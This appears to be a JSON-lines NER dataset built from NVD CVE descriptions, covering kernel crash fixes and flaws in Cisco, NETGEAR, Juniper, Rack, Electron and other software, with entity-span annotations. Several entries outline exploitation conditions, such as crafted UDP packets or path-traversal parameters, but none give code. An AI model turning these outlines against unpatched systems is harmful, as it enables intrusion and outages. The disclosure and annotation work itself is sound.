{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nbpf: Fix WARN() in get_bpf_raw_tp_regs\n\nsyzkaller reported an issue:\n\nWARNING: CPU: 3 PID: 5971 at kernel/trace/bpf_trace.c:1861 get_bpf_raw_tp_regs+0xa4/0x100 kernel/trace/bpf_trace.c:1861\nModules linked in:\nCPU: 3 UID: 0 PID: 5971 Comm: syz-executor205 Not tainted 6.15.0-rc5-syzkaller-00038-g707df3375124 #0 PREEMPT(full)\nHardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2~bpo12+1 04/01/2014\nRIP: 0010:get_bpf_raw_tp_regs+0xa4/0x100 kernel/trace/bpf_trace.c:1861\nRSP: 0018:ffffc90003636fa8 EFLAGS: 00010293\nRAX: 0000000000000000 RBX: 0000000000000003 RCX: ffffffff81c6bc4c\nRDX: ffff888032efc880 RSI: ffffffff81c6bc83 RDI: 0000000000000005\nRBP: ffff88806a730860 R08: 0000000000000005 R09: 0000000000000003\nR10: 0000000000000004 R11: 0000000000000000 R12: 0000000000000004\nR13: 0000000000000001 R14: ffffc90003637008 R15: 0000000000000900\nFS:  0000000000000000(0000) GS:ffff8880d6cdf000(0000) knlGS:0000000000000000\nCS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\nCR2: 00007f7baee09130 CR3: 0000000029f5a000 CR4: 0000000000352ef0\nDR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000\nDR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400\nCall Trace:\n <TASK>\n ____bpf_get_stack_raw_tp kernel/trace/bpf_trace.c:1934 [inline]\n bpf_get_stack_raw_tp+0x24/0x160 kernel/trace/bpf_trace.c:1931\n bpf_prog_ec3b2eefa702d8d3+0x43/0x47\n bpf_dispatcher_nop_func include/linux/bpf.h:1316 [inline]\n __bpf_prog_run include/linux/filter.h:718 [inline]\n bpf_prog_run include/linux/filter.h:725 [inline]\n __bpf_trace_run kernel/trace/bpf_trace.c:2363 [inline]\n bpf_trace_run3+0x23f/0x5a0 kernel/trace/bpf_trace.c:2405\n __bpf_trace_mmap_lock_acquire_returned+0xfc/0x140 include/trace/events/mmap_lock.h:47\n __traceiter_mmap_lock_acquire_returned+0x79/0xc0 include/trace/events/mmap_lock.h:47\n __do_trace_mmap_lock_acquire_returned include/trace/events/mmap_lock.h:47 [inline]\n trace_mmap_lock_acquire_returned include/trace/events/mmap_lock.h:47 [inline]\n __mmap_lock_do_trace_acquire_returned+0x138/0x1f0 mm/mmap_lock.c:35\n __mmap_lock_trace_acquire_returned include/linux/mmap_lock.h:36 [inline]\n mmap_read_trylock include/linux/mmap_lock.h:204 [inline]\n stack_map_get_build_id_offset+0x535/0x6f0 kernel/bpf/stackmap.c:157\n __bpf_get_stack+0x307/0xa10 kernel/bpf/stackmap.c:483\n ____bpf_get_stack kernel/bpf/stackmap.c:499 [inline]\n bpf_get_stack+0x32/0x40 kernel/bpf/stackmap.c:496\n ____bpf_get_stack_raw_tp kernel/trace/bpf_trace.c:1941 [inline]\n bpf_get_stack_raw_tp+0x124/0x160 kernel/trace/bpf_trace.c:1931\n bpf_prog_ec3b2eefa702d8d3+0x43/0x47\n\nTracepoint like trace_mmap_lock_acquire_returned may cause nested call\nas the corner case show above, which will be resolved with more general\nmethod in the future. As a result, WARN_ON_ONCE will be triggered. As\nAlexei suggested, remove the WARN_ON_ONCE first.", "spans": {"FILEPATH: /trace/bpf_trace.c": [[174, 192], [235, 253], [540, 558], [1315, 1333], [1387, 1405], [1632, 1650], [1699, 1717], [2521, 2539], [2594, 2612]], "FILEPATH: /01/2014": [[484, 492]], "FILEPATH: /linux/bpf.h": [[1480, 1492]], "FILEPATH: /linux/filter.h": [[1530, 1545], [1580, 1595]], "FILEPATH: /trace/events/mmap_lock.h": [[1781, 1806], [1867, 1892], [1942, 1967], [2021, 2046]], "FILEPATH: /linux/mmap_lock.h": [[2171, 2189], [2228, 2246]], "FILEPATH: /bpf/stackmap.c": [[2309, 2324], [2364, 2379], [2409, 2424], [2469, 2484]], "FILEPATH: mmap_lock.c": [[2113, 2124]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: QEMU": [[409, 413]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-38285"}}
{"text": "This vulnerability allows remote attackers to disclose sensitive information and delete arbitrary files on affected installations of NETGEAR ProSAFE Network Management System 1.6.0.26. Although authentication is required to exploit this vulnerability, the existing authentication mechanism can be bypassed. The specific flaw exists within the ConfigFileController class. When parsing the realName parameter, the process does not properly validate a user-supplied path prior to using it in file operations. An attacker can leverage this vulnerability to disclose sensitive information or to create a denial-of-service condition on the system. Was ZDI-CAN-12125.", "spans": {"IP_ADDRESS: 1.6.0.26": [[175, 183]], "VULNERABILITY: denial-of-service": [[599, 616]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-27275"}}
{"text": "Talishar is a fan-made Flesh and Blood project. Prior to commit 6be3871a14c192d1fb8146cdbc76f29f27c1cf48, the Talishar application lacks Cross-Site Request Forgery (CSRF) protections on critical state-changing endpoints, specifically within `SubmitChat.php` and other game interaction handlers. By failing to require unique, unpredictable session tokens, the application allows third-party malicious websites to forge requests on behalf of authenticated users, leading to unauthorized actions within active game sessions. The attacker would need to know both the proper gameName and playerID for the player. The player would also need to be browsing and interact with the infected website while playing a game. The vulnerability is fixed in commit 6be3871a14c192d1fb8146cdbc76f29f27c1cf48.", "spans": {"HASH: 6be3871a14c192d1fb8146cdbc76f29f27c1cf48": [[64, 104], [748, 788]], "FILEPATH: SubmitChat.php": [[242, 256]], "VULNERABILITY: Cross-Site Request Forgery": [[137, 163]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-27632"}}
{"text": "A vulnerability in the Easy Virtual Switching System (VSS) feature of Cisco IOS XE Software for Cisco Catalyst 4500 Series Switches and Cisco Catalyst 4500-X Series Switches could allow an unauthenticated, remote attacker to execute arbitrary code on the underlying Linux operating system of an affected device. The vulnerability is due to incorrect boundary checks of certain values in Easy VSS protocol packets that are destined for an affected device. An attacker could exploit this vulnerability by sending crafted Easy VSS protocol packets to UDP port 5500 while the affected device is in a specific state. When the crafted packet is processed, a buffer overflow condition may occur. A successful exploit could allow the attacker to trigger a denial of service (DoS) condition or execute arbitrary code with root privileges on the underlying Linux operating system of the affected device.", "spans": {"SYSTEM: Cisco IOS XE": [[70, 82]], "SYSTEM: Linux": [[266, 271], [847, 852]], "ORGANIZATION: Cisco": [[96, 101], [136, 141]], "VULNERABILITY: denial of service": [[748, 765]], "VULNERABILITY: buffer overflow": [[652, 667]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-1451"}}
{"text": "Electron is a framework for writing cross-platform desktop applications using JavaScript, HTML and CSS. Prior to versions 38.8.6, 39.8.0, 40.7.0, and 41.0.0-beta.8, the select-usb-device event callback did not validate the chosen device ID against the filtered list that was presented to the handler. An app whose handler could be influenced to select a device ID outside the filtered set would grant access to a device that did not match the renderer's requested filters or was listed in exclusionFilters. The WebUSB security blocklist remained enforced regardless, so security-sensitive devices on the blocklist were not affected. The practical impact is limited to apps with unusual device-selection logic. This issue has been patched in versions 38.8.6, 39.8.0, 40.7.0, and 41.0.0-beta.8.", "spans": {}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-34766"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: avoid potential underflow in qdisc_pkt_len_init() with UFO\n\nAfter commit 7c6d2ecbda83 (\"net: be more gentle about silly gso\nrequests coming from user\") virtio_net_hdr_to_skb() had sanity check\nto detect malicious attempts from user space to cook a bad GSO packet.\n\nThen commit cf9acc90c80ec (\"net: virtio_net_hdr_to_skb: count\ntransport header in UFO\") while fixing one issue, allowed user space\nto cook a GSO packet with the following characteristic :\n\nIPv4 SKB_GSO_UDP, gso_size=3, skb->len = 28.\n\nWhen this packet arrives in qdisc_pkt_len_init(), we end up\nwith hdr_len = 28 (IPv4 header + UDP header), matching skb->len\n\nThen the following sets gso_segs to 0 :\n\ngso_segs = DIV_ROUND_UP(skb->len - hdr_len,\n                        shinfo->gso_size);\n\nThen later we set qdisc_skb_cb(skb)->pkt_len to back to zero :/\n\nqdisc_skb_cb(skb)->pkt_len += (gso_segs - 1) * hdr_len;\n\nThis leads to the following crash in fq_codel [1]\n\nqdisc_pkt_len_init() is best effort, we only want an estimation\nof the bytes sent on the wire, not crashing the kernel.\n\nThis patch is fixing this particular issue, a following one\nadds more sanity checks for another potential bug.\n\n[1]\n[   70.724101] BUG: kernel NULL pointer dereference, address: 0000000000000000\n[   70.724561] #PF: supervisor read access in kernel mode\n[   70.724561] #PF: error_code(0x0000) - not-present page\n[   70.724561] PGD 10ac61067 P4D 10ac61067 PUD 107ee2067 PMD 0\n[   70.724561] Oops: Oops: 0000 [#1] SMP NOPTI\n[   70.724561] CPU: 11 UID: 0 PID: 2163 Comm: b358537762 Not tainted 6.11.0-virtme #991\n[   70.724561] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014\n[   70.724561] RIP: 0010:fq_codel_enqueue (net/sched/sch_fq_codel.c:120 net/sched/sch_fq_codel.c:168 net/sched/sch_fq_codel.c:230) sch_fq_codel\n[ 70.724561] Code: 24 08 49 c1 e1 06 44 89 7c 24 18 45 31 ed 45 31 c0 31 ff 89 44 24 14 4c 03 8b 90 01 00 00 eb 04 39 ca 73 37 4d 8b 39 83 c7 01 <49> 8b 17 49 89 11 41 8b 57 28 45 8b 5f 34 49 c7 07 00 00 00 00 49\nAll code\n========\n   0:\t24 08                \tand    $0x8,%al\n   2:\t49 c1 e1 06          \tshl    $0x6,%r9\n   6:\t44 89 7c 24 18       \tmov    %r15d,0x18(%rsp)\n   b:\t45 31 ed             \txor    %r13d,%r13d\n   e:\t45 31 c0             \txor    %r8d,%r8d\n  11:\t31 ff                \txor    %edi,%edi\n  13:\t89 44 24 14          \tmov    %eax,0x14(%rsp)\n  17:\t4c 03 8b 90 01 00 00 \tadd    0x190(%rbx),%r9\n  1e:\teb 04                \tjmp    0x24\n  20:\t39 ca                \tcmp    %ecx,%edx\n  22:\t73 37                \tjae    0x5b\n  24:\t4d 8b 39             \tmov    (%r9),%r15\n  27:\t83 c7 01             \tadd    $0x1,%edi\n  2a:*\t49 8b 17             \tmov    (%r15),%rdx\t\t<-- trapping instruction\n  2d:\t49 89 11             \tmov    %rdx,(%r9)\n  30:\t41 8b 57 28          \tmov    0x28(%r15),%edx\n  34:\t45 8b 5f 34          \tmov    0x34(%r15),%r11d\n  38:\t49 c7 07 00 00 00 00 \tmovq   $0x0,(%r15)\n  3f:\t49                   \trex.WB\n\nCode starting with the faulting instruction\n===========================================\n   0:\t49 8b 17             \tmov    (%r15),%rdx\n   3:\t49 89 11             \tmov    %rdx,(%r9)\n   6:\t41 8b 57 28          \tmov    0x28(%r15),%edx\n   a:\t45 8b 5f 34          \tmov    0x34(%r15),%r11d\n   e:\t49 c7 07 00 00 00 00 \tmovq   $0x0,(%r15)\n  15:\t49                   \trex.WB\n[   70.724561] RSP: 0018:ffff95ae85e6fb90 EFLAGS: 00000202\n[   70.724561] RAX: 0000000002000000 RBX: ffff95ae841de000 RCX: 0000000000000000\n[   70.724561] RDX: 0000000000000000 RSI: 0000000000000001 RDI: 0000000000000001\n[   70.724561] RBP: ffff95ae85e6fbf8 R08: 0000000000000000 R09: ffff95b710a30000\n[   70.724561] R10: 0000000000000000 R11: bdf289445ce31881 R12: ffff95ae85e6fc58\n[   70.724561] R13: 0000000000000000 R14: 0000000000000040 R15: 0000000000000000\n[   70.724561] FS:  000000002c5c1380(0000) GS:ffff95bd7fcc0000(0000) knlGS:0000000000000000\n[   70.724561] CS:  0010 DS: 0000 ES: 0000 C\n---truncated---", "spans": {"FILEPATH: /01/2014": [[1731, 1739]], "FILEPATH: /sched/sch_fq_codel.c": [[1786, 1807], [1815, 1836], [1844, 1865]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: QEMU": [[1661, 1665]], "VULNERABILITY: NULL pointer dereference": [[1265, 1289]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-49949"}}
{"text": "On Juniper Networks Junos OS and Junos OS Evolved devices, BGP session flapping can lead to a routing process daemon (RPD) crash and restart, limiting the attack surface to configured BGP peers. This issue only affects devices with BGP damping in combination with accepted-prefix-limit configuration. When the issue occurs the following messages will appear in the /var/log/messages: rpd[6046]: %DAEMON-4-BGP_PREFIX_THRESH_EXCEEDED: XXXX (External AS x): Configured maximum accepted prefix-limit threshold(1800) exceeded for inet6-unicast nlri: 1984 (instance master) rpd[6046]: %DAEMON-3-BGP_CEASE_PREFIX_LIMIT_EXCEEDED: 2001:x:x:x::2 (External AS x): Shutting down peer due to exceeding configured maximum accepted prefix-limit(2000) for inet6-unicast nlri: 2001 (instance master) rpd[6046]: %DAEMON-4: bgp_rt_maxprefixes_check_common:9284: NOTIFICATION sent to 2001:x:x:x::2 (External AS x): code 6 (Cease) subcode 1 (Maximum Number of Prefixes Reached) AFI: 2 SAFI: 1 prefix limit 2000 kernel: %KERN-5: mastership_relinquish_on_process_exit: RPD crashed on master RE. Sending SIGUSR2 to chassisd (5612:chassisd) to trigger RE switchover This issue affects: Juniper Networks Junos OS: 17.2R3-S3; 17.3 version 17.3R3-S3 and later versions, prior to 17.3R3-S8; 17.4 version 17.4R2-S4, 17.4R3 and later versions, prior to 17.4R2-S10, 17.4R3-S2; 18.1 version 18.1R3-S6 and later versions, prior to 18.1R3-S10; 18.2 version 18.2R3 and later versions, prior to 18.2R3-S4; 18.2X75 version 18.2X75-D50, 18.2X75-D60 and later versions, prior to 18.2X75-D53, 18.2X75-D65; 18.3 version 18.3R2 and later versions, prior to 18.3R2-S4, 18.3R3-S2; 18.4 version 18.4R2 and later versions, prior to 18.4R2-S5, 18.4R3-S2; 19.1 version 19.1R1 and later versions, prior to 19.1R2-S2, 19.1R3-S1; 19.2 version 19.2R1 and later versions, prior to 19.2R1-S5, 19.2R2; 19.3 versions prior to 19.3R2-S3, 19.3R3; 19.4 versions prior to 19.4R1-S3, 19.4R2; 20.1 versions prior to 20.1R1-S2, 20.1R2. Juniper Networks Junos OS Evolved prior to 20.1R2-EVO. This issue does not affect Juniper Networks Junos OS versions prior to 17.2R3-S3.", "spans": {"FILEPATH: /var/log/messages": [[365, 382]], "ORGANIZATION: Juniper": [[3, 10], [1161, 1168], [1972, 1979], [2054, 2061]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-1662"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ntracefs: Use generic inode RCU for synchronizing freeing\n\nWith structure layout randomization enabled for 'struct inode' we need to\navoid overlapping any of the RCU-used / initialized-only-once members,\ne.g. i_lru or i_sb_list to not corrupt related list traversals when making\nuse of the rcu_head.\n\nFor an unlucky structure layout of 'struct inode' we may end up with the\nfollowing splat when running the ftrace selftests:\n\n[<...>] list_del corruption, ffff888103ee2cb0->next (tracefs_inode_cache+0x0/0x4e0 [slab object]) is NULL (prev is tracefs_inode_cache+0x78/0x4e0 [slab object])\n[<...>] ------------[ cut here ]------------\n[<...>] kernel BUG at lib/list_debug.c:54!\n[<...>] invalid opcode: 0000 [#1] PREEMPT SMP KASAN\n[<...>] CPU: 3 PID: 2550 Comm: mount Tainted: G                 N  6.8.12-grsec+ #122 ed2f536ca62f28b087b90e3cc906a8d25b3ddc65\n[<...>] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.14.0-2 04/01/2014\n[<...>] RIP: 0010:[<ffffffff84656018>] __list_del_entry_valid_or_report+0x138/0x3e0\n[<...>] Code: 48 b8 99 fb 65 f2 ff ff ff ff e9 03 5c d9 fc cc 48 b8 99 fb 65 f2 ff ff ff ff e9 33 5a d9 fc cc 48 b8 99 fb 65 f2 ff ff ff ff <0f> 0b 4c 89 e9 48 89 ea 48 89 ee 48 c7 c7 60 8f dd 89 31 c0 e8 2f\n[<...>] RSP: 0018:fffffe80416afaf0 EFLAGS: 00010283\n[<...>] RAX: 0000000000000098 RBX: ffff888103ee2cb0 RCX: 0000000000000000\n[<...>] RDX: ffffffff84655fe8 RSI: ffffffff89dd8b60 RDI: 0000000000000001\n[<...>] RBP: ffff888103ee2cb0 R08: 0000000000000001 R09: fffffbd0082d5f25\n[<...>] R10: fffffe80416af92f R11: 0000000000000001 R12: fdf99c16731d9b6d\n[<...>] R13: 0000000000000000 R14: ffff88819ad4b8b8 R15: 0000000000000000\n[<...>] RBX: tracefs_inode_cache+0x0/0x4e0 [slab object]\n[<...>] RDX: __list_del_entry_valid_or_report+0x108/0x3e0\n[<...>] RSI: __func__.47+0x4340/0x4400\n[<...>] RBP: tracefs_inode_cache+0x0/0x4e0 [slab object]\n[<...>] RSP: process kstack fffffe80416afaf0+0x7af0/0x8000 [mount 2550 2550]\n[<...>] R09: kasan shadow of process kstack fffffe80416af928+0x7928/0x8000 [mount 2550 2550]\n[<...>] R10: process kstack fffffe80416af92f+0x792f/0x8000 [mount 2550 2550]\n[<...>] R14: tracefs_inode_cache+0x78/0x4e0 [slab object]\n[<...>] FS:  00006dcb380c1840(0000) GS:ffff8881e0600000(0000) knlGS:0000000000000000\n[<...>] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\n[<...>] CR2: 000076ab72b30e84 CR3: 000000000b088004 CR4: 0000000000360ef0 shadow CR4: 0000000000360ef0\n[<...>] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000\n[<...>] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400\n[<...>] ASID: 0003\n[<...>] Stack:\n[<...>]  ffffffff818a2315 00000000f5c856ee ffffffff896f1840 ffff888103ee2cb0\n[<...>]  ffff88812b6b9750 0000000079d714b6 fffffbfff1e9280b ffffffff8f49405f\n[<...>]  0000000000000001 0000000000000000 ffff888104457280 ffffffff8248b392\n[<...>] Call Trace:\n[<...>]  <TASK>\n[<...>]  [<ffffffff818a2315>] ? lock_release+0x175/0x380 fffffe80416afaf0\n[<...>]  [<ffffffff8248b392>] list_lru_del+0x152/0x740 fffffe80416afb48\n[<...>]  [<ffffffff8248ba93>] list_lru_del_obj+0x113/0x280 fffffe80416afb88\n[<...>]  [<ffffffff8940fd19>] ? _atomic_dec_and_lock+0x119/0x200 fffffe80416afb90\n[<...>]  [<ffffffff8295b244>] iput_final+0x1c4/0x9a0 fffffe80416afbb8\n[<...>]  [<ffffffff8293a52b>] dentry_unlink_inode+0x44b/0xaa0 fffffe80416afbf8\n[<...>]  [<ffffffff8293fefc>] __dentry_kill+0x23c/0xf00 fffffe80416afc40\n[<...>]  [<ffffffff8953a85f>] ? __this_cpu_preempt_check+0x1f/0xa0 fffffe80416afc48\n[<...>]  [<ffffffff82949ce5>] ? shrink_dentry_list+0x1c5/0x760 fffffe80416afc70\n[<...>]  [<ffffffff82949b71>] ? shrink_dentry_list+0x51/0x760 fffffe80416afc78\n[<...>]  [<ffffffff82949da8>] shrink_dentry_list+0x288/0x760 fffffe80416afc80\n[<...>]  [<ffffffff8294ae75>] shrink_dcache_sb+0x155/0x420 fffffe80416afcc8\n[<...>]  [<ffffffff8953a7c3>] ? debug_smp_processor_id+0x23/0xa0 fffffe80416afce0\n[<...>]  [<ffffffff8294ad20>] ? do_one_tre\n---truncated---", "spans": {"HASH: ed2f536ca62f28b087b90e3cc906a8d25b3ddc65": [[881, 921]], "FILEPATH: /01/2014": [[1001, 1009]], "FILEPATH: list_debug.c": [[726, 738]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: QEMU": [[945, 949]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-44959"}}
{"text": "Rapid7 Metasploit Framework versions before 5.0.85 suffers from an instance of CWE-78: OS Command Injection, wherein the libnotify plugin accepts untrusted user-supplied data via a remote computer's hostname or service name. An attacker can create a specially-crafted hostname or service name to be imported by Metasploit from a variety of sources and trigger a command injection on the operator's terminal. Note, only the Metasploit Framework and products that expose the plugin system is susceptible to this issue -- notably, this does not include Rapid7 Metasploit Pro. Also note, this vulnerability cannot be triggered through a normal scan operation -- the attacker would have to supply a file that is processed with the db_import command.", "spans": {"ORGANIZATION: Rapid7": [[0, 6], [550, 556]], "VULNERABILITY: OS Command Injection": [[87, 107]], "VULNERABILITY: command injection": [[362, 379]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-7350"}}
{"text": "Multiple vulnerabilities within the web-based management interface of Aruba EdgeConnect Enterprise Orchestrator could allow a remote attacker to conduct a reflected cross-site scripting (XSS) attack against a user of the interface. A successful exploit could allow an attacker to execute arbitrary script code in a victim's browser in the context of the affected interface in Aruba EdgeConnect Enterprise Orchestration Software version(s): Aruba EdgeConnect Enterprise Orchestrator (on-premises), Aruba EdgeConnect Enterprise Orchestrator-as-a-Service, Aruba EdgeConnect Enterprise Orchestrator-SP and Aruba EdgeConnect Enterprise Orchestrator Global Enterprise Tenant Orchestrators - Orchestrator 9.2.1.40179 and below, - Orchestrator 9.1.4.40436 and below, - Orchestrator 9.0.7.40110 and below, - Orchestrator 8.10.23.40015 and below, - Any older branches of Orchestrator not specifically mentioned.", "spans": {"ORGANIZATION: Aruba": [[70, 75], [376, 381], [440, 445], [497, 502], [553, 558], [602, 607]], "VULNERABILITY: cross-site scripting": [[165, 185]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-43527"}}
{"text": "apt-cacher-ng through 3.3 allows local users to obtain sensitive information by hijacking the hardcoded TCP port. The /usr/lib/apt-cacher-ng/acngtool program attempts to connect to apt-cacher-ng via TCP on localhost port 3142, even if the explicit SocketPath=/var/run/apt-cacher-ng/socket command-line option is passed. The cron job /etc/cron.daily/apt-cacher-ng (which is active by default) attempts this periodically. Because 3142 is an unprivileged port, any local user can try to bind to this port and will receive requests from acngtool. There can be sensitive data in these requests, e.g., if AdminAuth is enabled in /etc/apt-cacher-ng/security.conf. This sensitive data can leak to unprivileged local users that manage to bind to this port before the apt-cacher-ng daemon can.", "spans": {"FILEPATH: /usr/lib/apt-cacher-ng/acngtool": [[118, 149]], "FILEPATH: /var/run/apt-cacher-ng/socket": [[259, 288]], "FILEPATH: /etc/cron.daily/apt-cacher-ng": [[333, 362]], "FILEPATH: /etc/apt-cacher-ng/security.conf.": [[623, 656]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-5202"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nidpf: fix error handling in the init_task on load\n\nIf the init_task fails during a driver load, we end up without vports and\nnetdevs, effectively failing the entire process. In that state a\nsubsequent reset will result in a crash as the service task attempts to\naccess uninitialized resources. Following trace is from an error in the\ninit_task where the CREATE_VPORT (op 501) is rejected by the FW:\n\n[40922.763136] idpf 0000:83:00.0: Device HW Reset initiated\n[40924.449797] idpf 0000:83:00.0: Transaction failed (op 501)\n[40958.148190] idpf 0000:83:00.0: HW reset detected\n[40958.161202] BUG: kernel NULL pointer dereference, address: 00000000000000a8\n...\n[40958.168094] Workqueue: idpf-0000:83:00.0-vc_event idpf_vc_event_task [idpf]\n[40958.168865] RIP: 0010:idpf_vc_event_task+0x9b/0x350 [idpf]\n...\n[40958.177932] Call Trace:\n[40958.178491]  <TASK>\n[40958.179040]  process_one_work+0x226/0x6d0\n[40958.179609]  worker_thread+0x19e/0x340\n[40958.180158]  ? __pfx_worker_thread+0x10/0x10\n[40958.180702]  kthread+0x10f/0x250\n[40958.181238]  ? __pfx_kthread+0x10/0x10\n[40958.181774]  ret_from_fork+0x251/0x2b0\n[40958.182307]  ? __pfx_kthread+0x10/0x10\n[40958.182834]  ret_from_fork_asm+0x1a/0x30\n[40958.183370]  </TASK>\n\nFix the error handling in the init_task to make sure the service and\nmailbox tasks are disabled if the error happens during load. These are\nstarted in idpf_vc_core_init(), which spawns the init_task and has no way\nof knowing if it failed. If the error happens on reset, following\nsuccessful driver load, the tasks can still run, as that will allow the\nnetdevs to attempt recovery through another reset. Stop the PTP callbacks\neither way as those will be restarted by the call to idpf_vc_core_init()\nduring a successful reset.", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: NULL pointer dereference": [[670, 694]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-23017"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\naf_unix: Fix task hung while purging oob_skb in GC.\n\nsyzbot reported a task hung; at the same time, GC was looping infinitely\nin list_for_each_entry_safe() for OOB skb.  [0]\n\nsyzbot demonstrated that the list_for_each_entry_safe() was not actually\nsafe in this case.\n\nA single skb could have references for multiple sockets.  If we free such\na skb in the list_for_each_entry_safe(), the current and next sockets could\nbe unlinked in a single iteration.\n\nunix_notinflight() uses list_del_init() to unlink the socket, so the\nprefetched next socket forms a loop itself and list_for_each_entry_safe()\nnever stops.\n\nHere, we must use while() and make sure we always fetch the first socket.\n\n[0]:\nSending NMI from CPU 0 to CPUs 1:\nNMI backtrace for cpu 1\nCPU: 1 PID: 5065 Comm: syz-executor236 Not tainted 6.8.0-rc3-syzkaller-00136-g1f719a2f3fa6 #0\nHardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 01/25/2024\nRIP: 0010:preempt_count arch/x86/include/asm/preempt.h:26 [inline]\nRIP: 0010:check_kcov_mode kernel/kcov.c:173 [inline]\nRIP: 0010:__sanitizer_cov_trace_pc+0xd/0x60 kernel/kcov.c:207\nCode: cc cc cc cc 66 0f 1f 84 00 00 00 00 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 f3 0f 1e fa 65 48 8b 14 25 40 c2 03 00 <65> 8b 05 b4 7c 78 7e a9 00 01 ff 00 48 8b 34 24 74 0f f6 c4 01 74\nRSP: 0018:ffffc900033efa58 EFLAGS: 00000283\nRAX: ffff88807b077800 RBX: ffff88807b077800 RCX: 1ffffffff27b1189\nRDX: ffff88802a5a3b80 RSI: ffffffff8968488d RDI: ffff88807b077f70\nRBP: ffffc900033efbb0 R08: 0000000000000001 R09: fffffbfff27a900c\nR10: ffffffff93d48067 R11: ffffffff8ae000eb R12: ffff88807b077800\nR13: dffffc0000000000 R14: ffff88807b077e40 R15: 0000000000000001\nFS:  0000000000000000(0000) GS:ffff8880b9500000(0000) knlGS:0000000000000000\nCS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\nCR2: 0000564f4fc1e3a8 CR3: 000000000d57a000 CR4: 00000000003506f0\nDR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000\nDR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400\nCall Trace:\n <NMI>\n </NMI>\n <TASK>\n unix_gc+0x563/0x13b0 net/unix/garbage.c:319\n unix_release_sock+0xa93/0xf80 net/unix/af_unix.c:683\n unix_release+0x91/0xf0 net/unix/af_unix.c:1064\n __sock_release+0xb0/0x270 net/socket.c:659\n sock_close+0x1c/0x30 net/socket.c:1421\n __fput+0x270/0xb80 fs/file_table.c:376\n task_work_run+0x14f/0x250 kernel/task_work.c:180\n exit_task_work include/linux/task_work.h:38 [inline]\n do_exit+0xa8a/0x2ad0 kernel/exit.c:871\n do_group_exit+0xd4/0x2a0 kernel/exit.c:1020\n __do_sys_exit_group kernel/exit.c:1031 [inline]\n __se_sys_exit_group kernel/exit.c:1029 [inline]\n __x64_sys_exit_group+0x3e/0x50 kernel/exit.c:1029\n do_syscall_x64 arch/x86/entry/common.c:52 [inline]\n do_syscall_64+0xd5/0x270 arch/x86/entry/common.c:83\n entry_SYSCALL_64_after_hwframe+0x6f/0x77\nRIP: 0033:0x7f9d6cbdac09\nCode: Unable to access opcode bytes at 0x7f9d6cbdabdf.\nRSP: 002b:00007fff5952feb8 EFLAGS: 00000246 ORIG_RAX: 00000000000000e7\nRAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00007f9d6cbdac09\nRDX: 000000000000003c RSI: 00000000000000e7 RDI: 0000000000000000\nRBP: 00007f9d6cc552b0 R08: ffffffffffffffb8 R09: 0000000000000006\nR10: 0000000000000006 R11: 0000000000000246 R12: 00007f9d6cc552b0\nR13: 0000000000000000 R14: 00007f9d6cc55d00 R15: 00007f9d6cbabe70\n </TASK>", "spans": {"FILEPATH: /25/2024": [[993, 1001]], "FILEPATH: /x86/include/asm/preempt.h": [[1030, 1056]], "FILEPATH: /unix/garbage.c": [[2143, 2158]], "FILEPATH: /unix/af_unix.c": [[2197, 2212], [2244, 2259]], "FILEPATH: /linux/task_work.h": [[2462, 2480]], "FILEPATH: /x86/entry/common.c": [[2747, 2766], [2809, 2828]], "FILEPATH: kcov.c": [[1102, 1108], [1173, 1179]], "FILEPATH: socket.c": [[2296, 2304], [2335, 2343]], "FILEPATH: file_table.c": [[2372, 2384]], "FILEPATH: task_work.c": [[2423, 2434]], "FILEPATH: exit.c": [[2522, 2528], [2566, 2572], [2606, 2612], [2655, 2661], [2715, 2721]], "SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: Google": [[927, 933], [934, 940], [956, 962], [984, 990]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-26780"}}
{"text": "Rack is a modular Ruby web server interface. Prior to versions 2.2.14, 3.0.16, and 3.1.14, `Rack::QueryParser` parses query strings and `application/x-www-form-urlencoded` bodies into Ruby data structures without imposing any limit on the number of parameters, allowing attackers to send requests with extremely large numbers of parameters. The vulnerability arises because `Rack::QueryParser` iterates over each `&`-separated key-value pair and adds it to a Hash without enforcing an upper bound on the total number of parameters. This allows an attacker to send a single request containing hundreds of thousands (or more) of parameters, which consumes excessive memory and CPU during parsing. An attacker can trigger denial of service by sending specifically crafted HTTP requests, which can cause memory exhaustion or pin CPU resources, stalling or crashing the Rack server. This results in full service disruption until the affected worker 